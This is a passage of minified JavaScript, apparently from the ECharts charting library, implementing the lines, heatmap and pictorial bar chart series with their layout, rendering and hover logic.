a=t[i-1],o=t[i];r+=$t(a,o),n.push(r)}if(r===0){this._length=0;return}for(var i=0;i<n.length;i++)n[i]/=r;this._offsets=n,this._length=r},t.prototype._getLineLength=function(){return this._length},t.prototype._updateSymbolPosition=function(e){var t=e.__t<1?e.__t:2-e.__t,n=this._points,r=this._offsets,i=n.length;if(r){var a=this._lastFrame,o;if(t<this._lastFramePercent){for(o=Math.min(a+1,i-1);o>=0&&!(r[o]<=t);o--);o=Math.min(o,i-2)}else{for(o=a;o<i&&!(r[o]>t);o++);o=Math.min(o-1,i-2)}var s=(t-r[o])/(r[o+1]-r[o]),c=n[o],l=n[o+1];e.x=c[0]*(1-s)+s*l[0],e.y=c[1]*(1-s)+s*l[1];var u=e.__t<1?l[0]-c[0]:c[0]-l[0],d=e.__t<1?l[1]-c[1]:c[1]-l[1];e.rotation=-Math.atan2(d,u)-Math.PI/2,this._lastFrame=o,this._lastFramePercent=t,e.ignore=!1}},t}(XU),$U=function(){function e(){this.polyline=!1,this.curveness=0,this.segs=[]}return e}(),eW=function(e){N(t,e);function t(t){var n=e.call(this,t)||this;return n._off=0,n.hoverDataIdx=-1,n}return t.prototype.reset=function(){this.notClear=!1,this._off=0},t.prototype.getDefaultStyle=function(){return{stroke:Q.color.neutral99,fill:null}},t.prototype.getDefaultShape=function(){return new $U},t.prototype.buildPath=function(e,t){var n=t.segs,r=t.curveness,i;if(t.polyline)for(i=this._off;i<n.length;){var a=n[i++];if(a>0){e.moveTo(n[i++],n[i++]);for(var o=1;o<a;o++)e.lineTo(n[i++],n[i++])}}else for(i=this._off;i<n.length;){var s=n[i++],c=n[i++],l=n[i++],u=n[i++];if(e.moveTo(s,c),r>0){var d=(s+l)/2-(c-u)*r,f=(c+u)/2-(l-s)*r;e.quadraticCurveTo(d,f,l,u)}else e.lineTo(l,u)}this.incremental&&(this._off=i,this.notClear=!0)},t.prototype.findDataIndex=function(e,t){var n=this.shape,r=n.segs,i=n.curveness,a=this.style.lineWidth;if(n.polyline)for(var o=0,s=0;s<r.length;){var c=r[s++];if(c>0)for(var l=r[s++],u=r[s++],d=1;d<c;d++){var f=r[s++],p=r[s++];if($l(l,u,f,p,a,e,t))return o}o++}else for(var o=0,s=0;s<r.length;){var l=r[s++],u=r[s++],f=r[s++],p=r[s++];if(i>0){if(tu(l,u,(l+f)/2-(u-p)*i,(u+p)/2-(f-l)*i,f,p,a,e,t))return o}else if($l(l,u,f,p,a,e,t))return o;o++}return-1},t.prototype.contain=function(e,t){var n=this.transformCoordToLocal(e,t),r=this.getBoundingRect();return e=n[0],t=n[1],r.contain(e,t)?(this.hoverDataIdx=this.findDataIndex(e,t))>=0:(this.hoverDataIdx=-1,!1)},t.prototype.getBoundingRect=function(){var e=this._rect;if(!e){for(var t=this.shape.segs,n=1/0,r=1/0,i=-1/0,a=-1/0,o=0;o<t.length;){var s=t[o++],c=t[o++];n=Math.min(s,n),i=Math.max(s,i),r=Math.min(c,r),a=Math.max(c,a)}e=this._rect=new J(n,r,i,a)}return e},t}(Cu),tW=function(){function e(){this.group=new Y}return e.prototype.updateData=function(e){this._clear();var t=this._create();t.setShape({segs:e.getLayout(`linesPoints`)}),this._setCommon(t,e)},e.prototype.incrementalPrepareUpdate=function(e){this.group.removeAll(),this._clear()},e.prototype.incrementalUpdate=function(e,t){var n=this._newAdded[0],r=t.getLayout(`linesPoints`),i=n&&n.shape.segs;if(i&&i.length<2e4){var a=i.length,o=new Float32Array(a+r.length);o.set(i),o.set(r,a),n.setShape({segs:o})}else{this._newAdded=[];var s=this._create();s.incremental=!0,s.setShape({segs:r}),this._setCommon(s,t),s.__startIndex=e.start}},e.prototype.remove=function(){this._clear()},e.prototype.eachRendered=function(e){this._newAdded[0]&&e(this._newAdded[0])},e.prototype._create=function(){var e=new eW({cursor:`default`,ignoreCoarsePointer:!0});return this._newAdded.push(e),this.group.add(e),e},e.prototype._setCommon=function(e,t,n){var r=t.hostModel;e.setShape({polyline:r.get(`polyline`),curveness:r.get([`lineStyle`,`curveness`])}),e.useStyle(r.getModel(`lineStyle`).getLineStyle()),e.style.strokeNoScale=!0;var i=t.getVisual(`style`);i&&i.stroke&&e.setStyle(`stroke`,i.stroke),e.setStyle(`fill`,null);var a=Z(e);a.seriesIndex=r.seriesIndex,e.on(`mousemove`,function(t){a.dataIndex=null;var n=e.hoverDataIdx;n>0&&(a.dataIndex=n+e.__startIndex)})},e.prototype._clear=function(){this._newAdded=[],this.group.removeAll()},e}(),nW={seriesType:`lines`,plan:Db(),reset:function(e){var t=e.coordinateSystem;if(t){var n=e.get(`polyline`),r=e.pipelineContext.large;return{progress:function(i,a){var o=[];if(r){var s=void 0,c=i.end-i.start;if(n){for(var l=0,u=i.start;u<i.end;u++)l+=e.getLineCoordsCount(u);s=new Float32Array(c+l*2)}else s=new Float32Array(c*4);for(var d=0,f=[],u=i.start;u<i.end;u++){var p=e.getLineCoords(u,o);n&&(s[d++]=p);for(var m=0;m<p;m++)f=t.dataToPoint(o[m],!1,f),s[d++]=f[0],s[d++]=f[1]}a.setLayout(`linesPoints`,s)}else for(var u=i.start;u<i.end;u++){var h=a.getItemModel(u),p=e.getLineCoords(u,o),g=[];if(n)for(var _=0;_<p;_++)g.push(t.dataToPoint(o[_]));else{g[0]=t.dataToPoint(o[0]),g[1]=t.dataToPoint(o[1]);var v=h.get([`lineStyle`,`curveness`]);+v&&(g[2]=[(g[0][0]+g[1][0])/2-(g[0][1]-g[1][1])*v,(g[0][1]+g[1][1])/2-(g[1][0]-g[0][0])*v])}a.setItemLayout(u,g)}}}}}},rW=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n){var r=e.getData(),i=this._updateLineDraw(r,e),a=e.get(`zlevel`),o=e.get([`effect`,`trailLength`]),s=n.getZr(),c=s.painter.getType()===`svg`;c||s.painter.getLayer(a).clear(!0),this._lastZlevel!=null&&!c&&s.configLayer(this._lastZlevel,{motionBlur:!1}),this._showEffect(e)&&o>0&&(c||s.configLayer(a,{motionBlur:!0,lastFrameAlpha:Math.max(Math.min(o/10+.9,1),0)})),i.updateData(r);var l=e.get(`clip`,!0)&&FA(e.coordinateSystem,!1,e);l?this.group.setClipPath(l):this.group.removeClipPath(),this._lastZlevel=a,this._finished=!0},t.prototype.incrementalPrepareRender=function(e,t,n){var r=e.getData();this._updateLineDraw(r,e).incrementalPrepareUpdate(r),this._clearLayer(n),this._finished=!1},t.prototype.incrementalRender=function(e,t,n){this._lineDraw.incrementalUpdate(e,t.getData()),this._finished=e.end===t.getData().count()},t.prototype.eachRendered=function(e){this._lineDraw&&this._lineDraw.eachRendered(e)},t.prototype.updateTransform=function(e,t,n){var r=e.getData(),i=e.pipelineContext;if(!this._finished||i.large||i.progressiveRender)return{update:!0};var a=nW.reset(e,t,n);a.progress&&a.progress({start:0,end:r.count(),count:r.count()},r),this._lineDraw.updateLayout(),this._clearLayer(n)},t.prototype._updateLineDraw=function(e,t){var n=this._lineDraw,r=this._showEffect(t),i=!!t.get(`polyline`),a=t.pipelineContext.large;return(!n||r!==this._hasEffet||i!==this._isPolyline||a!==this._isLargeDraw)&&(n&&n.remove(),n=this._lineDraw=a?new tW:new Lz(i?r?QU:ZU:r?XU:Iz),this._hasEffet=r,this._isPolyline=i,this._isLargeDraw=a),this.group.add(n.group),n},t.prototype._showEffect=function(e){return!!e.get([`effect`,`show`])},t.prototype._clearLayer=function(e){var t=e.getZr();t.painter.getType()!==`svg`&&this._lastZlevel!=null&&t.painter.getLayer(this._lastZlevel).clear(!0)},t.prototype.remove=function(e,t){this._lineDraw&&this._lineDraw.remove(),this._lineDraw=null,this._clearLayer(t)},t.prototype.dispose=function(e,t){this.remove(e,t)},t.type=`lines`,t}(Ab),iW=typeof Uint32Array>`u`?Array:Uint32Array,aW=typeof Float64Array>`u`?Array:Float64Array;function oW(e){var t=e.data;t&&t[0]&&t[0][0]&&t[0][0].coord&&(e.data=R(t,function(e){var t={coords:[e[0].coord,e[1].coord]};return e[0].name&&(t.fromName=e[0].name),e[1].name&&(t.toName=e[1].name),rt([t,e[0],e[1]])}))}var sW=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.visualStyleAccessPath=`lineStyle`,n.visualDrawType=`stroke`,n}return t.prototype.init=function(t){t.data=t.data||[],oW(t);var n=this._processFlatCoordsArray(t.data);this._flatCoords=n.flatCoords,this._flatCoordsOffset=n.flatCoordsOffset,n.flatCoords&&(t.data=new Float32Array(n.count)),e.prototype.init.apply(this,arguments)},t.prototype.mergeOption=function(t){if(oW(t),t.data){var n=this._processFlatCoordsArray(t.data);this._flatCoords=n.flatCoords,this._flatCoordsOffset=n.flatCoordsOffset,n.flatCoords&&(t.data=new Float32Array(n.count))}e.prototype.mergeOption.apply(this,arguments)},t.prototype.appendData=function(e){var t=this._processFlatCoordsArray(e.data);t.flatCoords&&(this._flatCoords?(this._flatCoords=It(this._flatCoords,t.flatCoords),this._flatCoordsOffset=It(this._flatCoordsOffset,t.flatCoordsOffset)):(this._flatCoords=t.flatCoords,this._flatCoordsOffset=t.flatCoordsOffset),e.data=new Float32Array(t.count)),this.getRawData().appendData(e.data)},t.prototype._getCoordsFromItemModel=function(e){var t=this.getData().getItemModel(e);return t.option instanceof Array?t.option:t.getShallow(`coords`)},t.prototype.getLineCoordsCount=function(e){return this._flatCoordsOffset?this._flatCoordsOffset[e*2+1]:this._getCoordsFromItemModel(e).length},t.prototype.getLineCoords=function(e,t){if(this._flatCoordsOffset){for(var n=this._flatCoordsOffset[e*2],r=this._flatCoordsOffset[e*2+1],i=0;i<r;i++)t[i]=t[i]||[],t[i][0]=this._flatCoords[n+i*2],t[i][1]=this._flatCoords[n+i*2+1];return r}else{for(var a=this._getCoordsFromItemModel(e),i=0;i<a.length;i++)t[i]=t[i]||[],t[i][0]=a[i][0],t[i][1]=a[i][1];return a.length}},t.prototype._processFlatCoordsArray=function(e){var t=0;if(this._flatCoords&&(t=this._flatCoords.length),ht(e[0])){for(var n=e.length,r=new iW(n),i=new aW(n),a=0,o=0,s=0,c=0;c<n;){s++;var l=e[c++];r[o++]=a+t,r[o++]=l;for(var u=0;u<l;u++){var d=e[c++],f=e[c++];i[a++]=d,i[a++]=f}}return{flatCoordsOffset:new Uint32Array(r.buffer,0,o),flatCoords:i,count:s}}return{flatCoordsOffset:null,flatCoords:null,count:e.length}},t.prototype.getInitialData=function(e,t){var n=new Zw([`value`],this);return n.hasItemOption=!1,n.initData(e.data,[],function(e,t,r,i){if(e instanceof Array)return NaN;n.hasItemOption=!0;var a=e.value;if(a!=null)return a instanceof Array?a[i]:a}),n},t.prototype.formatTooltip=function(e,t,n){var r=this.getData().getItemModel(e),i=r.get(`name`);if(i)return i;var a=r.get(`fromName`),o=r.get(`toName`),s=[];return a!=null&&s.push(a),o!=null&&s.push(o),Xy(`nameValue`,{name:s.join(` > `)})},t.prototype.preventIncremental=function(){return!!this.get([`effect`,`show`])},t.prototype.getProgressive=function(){return this.option.progressive??(this.option.large?1e4:this.get(`progressive`))},t.prototype.getProgressiveThreshold=function(){return this.option.progressiveThreshold??(this.option.large?2e4:this.get(`progressiveThreshold`))},t.prototype.getZLevelKey=function(){var e=this.getModel(`effect`),t=e.get(`trailLength`);return this.getData().count()>this.getProgressiveThreshold()?this.id:e.get(`show`)&&t>0?t+``:``},t.type=`series.lines`,t.dependencies=[`grid`,`polar`,`geo`,`calendar`],t.defaultOption={coordinateSystem:`geo`,z:2,legendHoverLink:!0,xAxisIndex:0,yAxisIndex:0,symbol:[`none`,`none`],symbolSize:[10,10],geoIndex:0,effect:{show:!1,period:4,constantSpeed:0,symbol:`circle`,symbolSize:3,loop:!0,trailLength:.2},large:!1,largeThreshold:2e3,polyline:!1,clip:!0,label:{show:!1,position:`end`},lineStyle:{opacity:.5}},t}(_b);function cW(e){return e instanceof Array||(e=[e,e]),e}var lW={seriesType:`lines`,reset:function(e){var t=cW(e.get(`symbol`)),n=cW(e.get(`symbolSize`)),r=e.getData();r.setVisual(`fromSymbol`,t&&t[0]),r.setVisual(`toSymbol`,t&&t[1]),r.setVisual(`fromSymbolSize`,n&&n[0]),r.setVisual(`toSymbolSize`,n&&n[1]);function i(e,t){var n=e.getItemModel(t),r=cW(n.getShallow(`symbol`,!0)),i=cW(n.getShallow(`symbolSize`,!0));r[0]&&e.setItemVisual(t,`fromSymbol`,r[0]),r[1]&&e.setItemVisual(t,`toSymbol`,r[1]),i[0]&&e.setItemVisual(t,`fromSymbolSize`,i[0]),i[1]&&e.setItemVisual(t,`toSymbolSize`,i[1])}return{dataEach:r.hasItemOption?i:null}}};function uW(e){e.registerChartView(rW),e.registerSeriesModel(sW),e.registerLayout(nW),e.registerVisual(lW)}var dW=256,fW=function(){function e(){this.blurSize=30,this.pointSize=20,this.maxOpacity=1,this.minOpacity=0,this._gradientPixels={inRange:null,outOfRange:null};var e=Ve.createCanvas();this.canvas=e}return e.prototype.update=function(e,t,n,r,i,a){var o=this._getBrush(),s=this._getGradient(i,`inRange`),c=this._getGradient(i,`outOfRange`),l=this.pointSize+this.blurSize,u=this.canvas,d=u.getContext(`2d`),f=e.length;u.width=t,u.height=n;for(var p=0;p<f;++p){var m=e[p],h=m[0],g=m[1],_=m[2],v=r(_);d.globalAlpha=v,d.drawImage(o,h-l,g-l)}if(!u.width||!u.height)return u;for(var y=d.getImageData(0,0,u.width,u.height),b=y.data,x=0,S=b.length,C=this.minOpacity,w=this.maxOpacity-C;x<S;){var v=b[x+3]/256,T=Math.floor(v*(dW-1))*4;if(v>0){var E=a(v)?s:c;v>0&&(v=v*w+C),b[x++]=E[T],b[x++]=E[T+1],b[x++]=E[T+2],b[x++]=E[T+3]*v*256}else x+=4}return d.putImageData(y,0,0),u},e.prototype._getBrush=function(){var e=this._brushCanvas||=Ve.createCanvas(),t=this.pointSize+this.blurSize,n=t*2;e.width=n,e.height=n;var r=e.getContext(`2d`);return r.clearRect(0,0,n,n),r.shadowOffsetX=n,r.shadowBlur=this.blurSize,r.shadowColor=Q.color.neutral99,r.beginPath(),r.arc(-t,t,this.pointSize,0,Math.PI*2,!0),r.closePath(),r.fill(),e},e.prototype._getGradient=function(e,t){for(var n=this._gradientPixels,r=n[t]||(n[t]=new Uint8ClampedArray(256*4)),i=[0,0,0,0],a=0,o=0;o<256;o++)e[t](o/255,!0,i),r[a++]=i[0],r[a++]=i[1],r[a++]=i[2],r[a++]=i[3];return r},e}();function pW(e,t,n){var r=e[1]-e[0];t=R(t,function(t){return{interval:[(t.interval[0]-e[0])/r,(t.interval[1]-e[0])/r]}});var i=t.length,a=0;return function(e){var r;for(r=a;r<i;r++){var o=t[r].interval;if(o[0]<=e&&e<=o[1]){a=r;break}}if(r===i)for(r=a-1;r>=0;r--){var o=t[r].interval;if(o[0]<=e&&e<=o[1]){a=r;break}}return r>=0&&r<i&&n[r]}}function mW(e,t){var n=e[1]-e[0];return t=[(t[0]-e[0])/n,(t[1]-e[0])/n],function(e){return e>=t[0]&&e<=t[1]}}function hW(e){var t=e.dimensions;return t[0]===`lng`&&t[1]===`lat`}var gW=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n){var r;t.eachComponent(`visualMap`,function(t){t.eachTargetSeries(function(n){n===e&&(r=t)})}),this._progressiveEls=null,this.group.removeAll();var i=e.coordinateSystem;i.type===`cartesian2d`||i.type===`calendar`||i.type===`matrix`?this._renderOnGridLike(e,n,0,e.getData().count()):hW(i)&&this._renderOnGeo(i,e,r,n)},t.prototype.incrementalPrepareRender=function(e,t,n){this.group.removeAll()},t.prototype.incrementalRender=function(e,t,n,r){var i=t.coordinateSystem;i&&(hW(i)?this.render(t,n,r):(this._progressiveEls=[],this._renderOnGridLike(t,r,e.start,e.end,!0)))},t.prototype.eachRendered=function(e){Em(this._progressiveEls||this.group,e)},t.prototype._renderOnGridLike=function(e,t,n,r,i){var a=e.coordinateSystem,o=IA(a,`cartesian2d`),s=IA(a,`matrix`),c,l,u,d;if(o){var f=a.getAxis(`x`),p=a.getAxis(`y`);c=f.getBandWidth()+.5,l=p.getBandWidth()+.5,u=f.scale.getExtent(),d=p.scale.getExtent()}for(var m=this.group,h=e.getData(),g=e.getModel([`emphasis`,`itemStyle`]).getItemStyle(),_=e.getModel([`blur`,`itemStyle`]).getItemStyle(),v=e.getModel([`select`,`itemStyle`]).getItemStyle(),y=e.get([`itemStyle`,`borderRadius`]),b=zm(e),x=e.getModel(`emphasis`),S=x.get(`focus`),C=x.get(`blurScope`),w=x.get(`disabled`),T=o||s?[h.mapDimension(`x`),h.mapDimension(`y`),h.mapDimension(`value`)]:[h.mapDimension(`time`),h.mapDimension(`value`)],E=n;E<r;E++){var D=void 0,O=h.getItemVisual(E,`style`);if(o){var k=h.get(T[0],E),A=h.get(T[1],E);if(isNaN(h.get(T[2],E))||isNaN(k)||isNaN(A)||k<u[0]||k>u[1]||A<d[0]||A>d[1])continue;var j=a.dataToPoint([k,A]);D=new Lu({shape:{x:j[0]-c/2,y:j[1]-l/2,width:c,height:l},style:O})}else if(s){var ee=a.dataToLayout([h.get(T[0],E),h.get(T[1],E)]).rect;if(St(ee.x))continue;D=new Lu({z2:1,shape:ee,style:O})}else{if(isNaN(h.get(T[1],E)))continue;var te=a.dataToLayout([h.get(T[0],E)]),ee=te.contentRect||te.rect;if(St(ee.x)||St(ee.y))continue;D=new Lu({z2:1,shape:ee,style:O})}if(h.hasItemOption){var M=h.getItemModel(E),ne=M.getModel(`emphasis`);g=ne.getModel(`itemStyle`).getItemStyle(),_=M.getModel([`blur`,`itemStyle`]).getItemStyle(),v=M.getModel([`select`,`itemStyle`]).getItemStyle(),y=M.get([`itemStyle`,`borderRadius`]),S=ne.get(`focus`),C=ne.get(`blurScope`),w=ne.get(`disabled`),b=zm(M)}D.shape.r=y;var re=e.getRawValue(E),ie=`-`;re&&re[2]!=null&&(ie=re[2]+``),Rm(D,b,{labelFetcher:e,labelDataIndex:E,defaultOpacity:O.opacity,defaultText:ie}),D.ensureState(`emphasis`).style=g,D.ensureState(`blur`).style=_,D.ensureState(`select`).style=v,$d(D,S,C,w),D.incremental=i,i&&(D.states.emphasis.hoverLayer=!0),m.add(D),h.setItemGraphicEl(E,D),this._progressiveEls&&this._progressiveEls.push(D)}},t.prototype._renderOnGeo=function(e,t,n,r){var i=n.targetVisuals.inRange,a=n.targetVisuals.outOfRange,o=t.getData(),s=this._hmLayer||this._hmLayer||new fW;s.blurSize=t.get(`blurSize`),s.pointSize=t.get(`pointSize`),s.minOpacity=t.get(`minOpacity`),s.maxOpacity=t.get(`maxOpacity`);var c=e.getViewRect().clone(),l=e.getRoamTransform();c.applyTransform(l);var u=Math.max(c.x,0),d=Math.max(c.y,0),f=Math.min(c.width+c.x,r.getWidth()),p=Math.min(c.height+c.y,r.getHeight()),m=f-u,h=p-d,g=[o.mapDimension(`lng`),o.mapDimension(`lat`),o.mapDimension(`value`)],_=o.mapArray(g,function(t,n,r){var i=e.dataToPoint([t,n]);return i[0]-=u,i[1]-=d,i.push(r),i}),v=n.getExtent(),y=n.type===`visualMap.continuous`?mW(v,n.option.range):pW(v,n.getPieceList(),n.option.selected);s.update(_,m,h,i.color.getNormalizer(),{inRange:i.color.getColorMapper(),outOfRange:a.color.getColorMapper()},y);var b=new ku({style:{width:m,height:h,x:u,y:d,image:s.canvas},silent:!0});this.group.add(b)},t.type=`heatmap`,t}(Ab),_W=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.getInitialData=function(e,t){return fT(null,this,{generateCoord:`value`})},t.prototype.preventIncremental=function(){var e=Tg.get(this.get(`coordinateSystem`));if(e&&e.dimensions)return e.dimensions[0]===`lng`&&e.dimensions[1]===`lat`},t.type=`series.heatmap`,t.dependencies=[`grid`,`geo`,`calendar`,`matrix`],t.defaultOption={coordinateSystem:`cartesian2d`,z:2,geoIndex:0,blurSize:30,pointSize:20,maxOpacity:1,minOpacity:0,select:{itemStyle:{borderColor:Q.color.primary}}},t}(_b);function vW(e){e.registerChartView(gW),e.registerSeriesModel(_W)}var yW=[`itemStyle`,`borderWidth`],bW=[{xy:`x`,wh:`width`,index:0,posDesc:[`left`,`right`]},{xy:`y`,wh:`height`,index:1,posDesc:[`top`,`bottom`]}],xW=new If,SW=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n){var r=this.group,i=e.getData(),a=this._data,o=e.coordinateSystem,s=o.getBaseAxis().isHorizontal(),c=o.master.getRect(),l={ecSize:{width:n.getWidth(),height:n.getHeight()},seriesModel:e,coordSys:o,coordSysExtent:[[c.x,c.x+c.width],[c.y,c.y+c.height]],isHorizontal:s,valueDim:bW[+s],categoryDim:bW[1-s]};i.diff(a).add(function(e){if(i.hasValue(e)){var t=CW(i,e,PW(i,e),l),n=LW(i,l,t);i.setItemGraphicEl(e,n),r.add(n),UW(n,l,t)}}).update(function(e,t){var n=a.getItemGraphicEl(t);if(!i.hasValue(e)){r.remove(n);return}var o=CW(i,e,PW(i,e),l),s=BW(i,o);n&&s!==n.__pictorialShapeStr&&(r.remove(n),i.setItemGraphicEl(e,null),n=null),n?RW(n,l,o):n=LW(i,l,o,!0),i.setItemGraphicEl(e,n),n.__pictorialSymbolMeta=o,r.add(n),UW(n,l,o)}).remove(function(e){var t=a.getItemGraphicEl(e);t&&zW(a,e,t.__pictorialSymbolMeta.animationModel,t)}).execute();var u=e.get(`clip`,!0)?FA(e.coordinateSystem,!1,e):null;return u?r.setClipPath(u):r.removeClipPath(),this._data=i,this.group},t.prototype.remove=function(e,t){var n=this.group,r=this._data;e.get(`animation`)?r&&r.eachItemGraphicEl(function(t){zW(r,Z(t).dataIndex,e,t)}):n.removeAll()},t.type=`pictorialBar`,t}(Ab);function CW(e,t,n,r){var i=e.getItemLayout(t),a=n.get(`symbolRepeat`),o=n.get(`symbolClip`),s=n.get(`symbolPosition`)||`start`,c=(n.get(`symbolRotate`)||0)*Math.PI/180||0,l=n.get(`symbolPatternSize`)||2,u=n.isAnimationEnabled(),d={dataIndex:t,layout:i,itemModel:n,symbolType:e.getItemVisual(t,`symbol`)||`circle`,style:e.getItemVisual(t,`style`),symbolClip:o,symbolRepeat:a,symbolRepeatDirection:n.get(`symbolRepeatDirection`),symbolPatternSize:l,rotation:c,animationModel:u?n:null,hoverScale:u&&n.get([`emphasis`,`scale`]),z2:n.getShallow(`z`,!0)||0};wW(n,a,i,r,d),EW(e,t,i,a,o,d.boundingLength,d.pxSign,l,r,d),DW(n,d.symbolScale,c,r,d);var f=d.symbolSize;return OW(n,f,i,a,o,Hx(n.get(`symbolOffset`),f),s,d.valueLineWidth,d.boundingLength,d.repeatCutLength,r,d),d}function wW(e,t,n,r,i){var a=r.valueDim,o=e.get(`symbolBoundingData`),s=r.coordSys.getOtherAxis(r.coordSys.getBaseAxis()),c=s.toGlobalCoord(s.dataToCoord(0)),l=1-(n[a.wh]<=0),u;if(B(o)){var d=[TW(s,o[0])-c,TW(s,o[1])-c];d[1]<d[0]&&d.reverse(),u=d[l]}else u=o==null?t?r.coordSysExtent[a.index][l]-c:n[a.wh]:TW(s,o)-c;i.boundingLength=u,t&&(i.repeatCutLength=n[a.wh]);var f=a.xy===`x`,p=s.inverse;i.pxSign=f&&!p||!f&&p?u>=0?1:-1:u>0?1:-1}function TW(e,t){return e.toGlobalCoord(e.dataToCoord(e.scale.parse(t)))}function EW(e,t,n,r,i,a,o,s,c,l){var u=c.valueDim,d=c.categoryDim,f=Math.abs(n[d.wh]),p=e.getItemVisual(t,`symbolSize`),m=B(p)?p.slice():p==null?[`100%`,`100%`]:[p,p];m[d.index]=X(m[d.index],f),m[u.index]=X(m[u.index],r?f:Math.abs(a)),l.symbolSize=m;var h=l.symbolScale=[m[0]/s,m[1]/s];h[u.index]*=(c.isHorizontal?-1:1)*o}function DW(e,t,n,r,i){var a=e.get(yW)||0;a&&(xW.attr({scaleX:t[0],scaleY:t[1],rotation:n}),xW.updateTransform(),a/=xW.getLineScale(),a*=t[r.valueDim.index]),i.valueLineWidth=a||0}function OW(e,t,n,r,i,a,o,s,c,l,u,d){var f=u.categoryDim,p=u.valueDim,m=d.pxSign,h=Math.max(t[p.index]+s,0),g=h;if(r){var _=Math.abs(c),v=Ct(e.get(`symbolMargin`),`15%`)+``,y=!1;v.lastIndexOf(`!`)===v.length-1&&(y=!0,v=v.slice(0,v.length-1));var b=X(v,t[p.index]),x=Math.max(h+b*2,0),S=y?0:b*2,C=Ts(r),w=C?r:WW((_+S)/x);b=(_-w*h)/2/(y?w:Math.max(w-1,1)),x=h+b*2,S=y?0:b*2,!C&&r!==`fixed`&&(w=l?WW((Math.abs(l)+S)/x):0),g=w*x-S,d.repeatTimes=w,d.symbolMargin=b}var T=g/2*m,E=d.pathPosition=[];E[f.index]=n[f.wh]/2,E[p.index]=o===`start`?T:o===`end`?c-T:c/2,a&&(E[0]+=a[0],E[1]+=a[1]);var D=d.bundlePosition=[];D[f.index]=n[f.xy],D[p.index]=n[p.xy];var O=d.barRectShape=F({},n);O[p.wh]=m*Math.max(Math.abs(n[p.wh]),Math.abs(E[p.index]+T)),O[f.wh]=n[f.wh];var k=d.clipShape={};k[f.xy]=-n[f.xy],k[f.wh]=u.ecSize[f.wh],k[p.xy]=0,k[p.wh]=n[p.wh]}function kW(e){var t=e.symbolPatternSize,n=Bx(e.symbolType,-t/2,-t/2,t,t);return n.attr({culling:!0}),n.type!==`image`&&n.setStyle({strokeNoScale:!0}),n}function AW(e,t,n,r){var i=e.__pictorialBundle,a=n.symbolSize,o=n.valueLineWidth,s=n.pathPosition,c=t.valueDim,l=n.repeatTimes||0,u=0,d=a[t.valueDim.index]+o+n.symbolMargin*2;for(VW(e,function(e){e.__pictorialAnimationIndex=u,e.__pictorialRepeatTimes=l,u<l?HW(e,null,m(u),n,r):HW(e,null,{scaleX:0,scaleY:0},n,r,function(){i.remove(e)}),u++});u<l;u++){var f=kW(n);f.__pictorialAnimationIndex=u,f.__pictorialRepeatTimes=l,i.add(f);var p=m(u);HW(f,{x:p.x,y:p.y,scaleX:0,scaleY:0},{scaleX:p.scaleX,scaleY:p.scaleY,rotation:p.rotation},n,r)}function m(e){var t=s.slice(),r=n.pxSign,i=e;return(n.symbolRepeatDirection===`start`?r>0:r<0)&&(i=l-1-e),t[c.index]=d*(i-l/2+.5)+s[c.index],{x:t[0],y:t[1],scaleX:n.symbolScale[0],scaleY:n.symbolScale[1],rotation:n.rotation}}}function jW(e,t,n,r){var i=e.__pictorialBundle,a=e.__pictorialMainPath;a?HW(a,null,{x:n.pathPosition[0],y:n.pathPosition[1],scaleX:n.symbolScale[0],scaleY:n.symbolScale[1],rotation:n.rotation},n,r):(a=e.__pictorialMainPath=kW(n),i.add(a),HW(a,{x:n.pathPosition[0],y:n.pathPosition[1],scaleX:0,scaleY:0,rotation:n.rotation},{scaleX:n.symbolScale[0],scaleY:n.symbolScale[1]},n,r))}function MW(e,t,n){var r=F({},t.barRectShape),i=e.__pictorialBarRect;i?HW(i,null,{shape:r},t,n):(i=e.__pictorialBarRect=new Lu({z2:2,shape:r,silent:!0,style:{stroke:`transparent`,fill:`transparent`,lineWidth:0}}),i.disableMorphing=!0,e.add(i))}function NW(e,t,n,r){if(n.symbolClip){var i=e.__pictorialClipPath,a=F({},n.clipShape),o=t.valueDim,s=n.animationModel,c=n.dataIndex;if(i)Lp(i,{shape:a},s,c);else{a[o.wh]=0,i=new Lu({shape:a}),e.__pictorialBundle.setClipPath(i),e.__pictorialClipPath=i;var l={};l[o.wh]=n.clipShape[o.wh],Gp[r?`updateProps`:`initProps`](i,{shape:l},s,c)}}}function PW(e,t){var n=e.getItemModel(t);return n.getAnimationDelayParams=FW,n.isAnimationEnabled=IW,n}function FW(e){return{index:e.__pictorialAnimationIndex,count:e.__pictorialRepeatTimes}}function IW(){return this.parentModel.isAnimationEnabled()&&!!this.getShallow(`animation`)}function LW(e,t,n,r){var i=new Y,a=new Y;return i.add(a),i.__pictorialBundle=a,a.x=n.bundlePosition[0],a.y=n.bundlePosition[1],n.symbolRepeat?AW(i,t,n):jW(i,t,n),MW(i,n,r),NW(i,t,n,r),i.__pictorialShapeStr=BW(e,n),i.__pictorialSymbolMeta=n,i}function RW(e,t,n){var r=n.animationModel,i=n.dataIndex,a=e.__pictorialBundle;Lp(a,{x:n.bundlePosition[0],y:n.bundlePosition[1]},r,i),n.symbolRepeat?AW(e,t,n,!0):jW(e,t,n,!0),MW(e,n,!0),NW(e,t,n,!0)}function zW(e,t,n,r){var i=r.__pictorialBarRect;i&&i.removeTextContent();var a=[];VW(r,function(e){a.push(e)}),r.__pictorialMainPath&&a.push(r.__pictorialMainPath),r.__pictorialClipPath&&(n=null),L(a,function(e){Bp(e,{scaleX:0,scaleY:0},n,t,function(){r.parent&&r.parent.remove(r)})}),e.setItemGraphicEl(t,null)}function BW(e,t){return[e.getItemVisual(t.dataIndex,`symbol`)||`none`,!!t.symbolRepeat,!!t.symbolClip].join(`:`)}function VW(e,t,n){L(e.__pictorialBundle.children(),function(r){r!==e.__pictorialBarRect&&t.call(n,r)})}function HW(e,t,n,r,i,a){t&&e.attr(t),r.symbolClip&&!i?n&&e.attr(n):n&&Gp[i?`updateProps`:`initProps`](e,n,r.animationModel,r.dataIndex,a)}function UW(e,t,n){var 